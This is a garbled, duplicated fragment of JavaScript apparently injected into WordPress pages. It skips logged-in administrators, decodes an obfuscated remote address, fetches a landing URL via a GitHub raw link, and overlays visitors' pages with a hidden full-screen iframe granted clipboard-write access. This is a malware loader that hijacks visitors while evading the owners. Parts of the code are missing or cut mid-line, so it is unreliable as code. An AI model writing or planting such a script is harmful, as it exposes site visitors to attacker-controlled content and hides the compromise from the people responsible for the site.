: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();